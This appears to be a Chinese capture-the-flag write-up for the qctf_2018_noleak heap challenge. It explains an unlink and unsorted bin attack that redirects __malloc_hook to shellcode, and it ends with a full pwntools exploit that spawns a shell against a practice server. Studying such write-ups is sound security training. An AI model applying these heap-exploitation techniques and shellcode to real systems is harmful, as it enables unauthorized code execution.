qctf_2018_noleak(unsorted bin attack)
检查防护

got表不可写,但是可以写shellcode且可以执行
IDA静态分析

edit里存在堆溢出

free里存在UAF
大致思路
首先我们知道got表是不可写的,那我们可以去打malloc_hook,没有show,无法泄露libc,写不了one_gadget但是我们可以写shellcode我们如何把shellcode写进malloc_hook呢,我们知道malloc_hook是在&main_area-0x10的位置,我们知道unsortedbin attack可以让任意地址返回一个比较大的数这个数在libc2.27下是main_arena+96,那么离malloc_hook就不远了。
首先unlink把bss和buf写进指针数组,这样我们就可以劫持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| bss = 0x601020 buf = 0x601040 add(0x30, b'a') add(0x420, b'a') add(0x60, b'a')
fd = buf - 0x18 bk = buf - 0x10
payload = p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)*2+p64(0x30)+p64(0x430) edit(0,len(payload),payload) free(1)
payload_2 =p64(0)*3 + p64(bss)+p64(buf) edit(0,len(payload_2),payload_2)
|
接下来add两个0x450的chunk,free掉第一个进unsortedbin中,再去利用UAF劫持bk指针,指向buf+0x10的位置
那么再申请回来,buf+0x20的位置就写入了main_arena+96的地址
1 2 3 4 5 6 7
| add(0x450,'c') add(0x450,'d') free(3)
payload_3 = p64(0) + p64(buf + 0x8 * 2) edit(3, len(payload_3), payload_3) add(0x450,'e')
|

我们把\xa0改为\x30就可以,最低一字节是不变的,再把shellcode写进bss,再把bss写进malloc
1 2 3 4 5 6 7 8 9 10 11 12
| payload = p64(bss) + p64(buf) + p64(0) * 2 + '\x30'
edit(1,len(payload),payload)
edit(0,len(shellcode),shellcode)
edit(4,len(p64(bss)),p64(bss))
io.sendlineafter('Your choice :','1') io.sendlineafter('Size: ','10')
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import *
context.log_level = "debug" context.arch="amd64" io = remote("node4.buuoj.cn",27977)
elf = ELF('./QCTF_2018_NoLeak') libc = ELF('./libc-2.27.so')
def add(size,content): io.recvuntil('Your choice :') io.sendline(str(1)) io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') io.sendline(content) def free(index): io.recvuntil('Your choice :') io.sendline(str(2)) io.recvuntil('Index:') io.sendline(str(index))
def edit(index,size,data): io.recvuntil('Your choice :') io.sendline(str(3)) io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') io.sendline(data)
shellcode = asm(shellcraft.sh())
bss = 0x601020 buf = 0x601040 add(0x30, b'a') add(0x420, b'a') add(0x60, b'a')
fd = buf - 0x18 bk = buf - 0x10
payload = p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)*2+p64(0x30)+p64(0x430) edit(0,len(payload),payload) free(1)
payload_2 =p64(0)*3 + p64(bss)+p64(buf) edit(0,len(payload_2),payload_2)
add(0x450,'c') add(0x450,'d') free(3)
payload_3 = p64(0) + p64(buf + 0x10) edit(3, len(payload_3), payload_3) add(0x450,'e')
payload = p64(bss) + p64(buf) + p64(0) * 2 + '\x30'
edit(1,len(payload),payload)
edit(0,len(shellcode),shellcode)
edit(4,len(p64(bss)),p64(bss))
io.sendlineafter('Your choice :','1') io.sendlineafter('Size: ','10')
io.interactive()
|
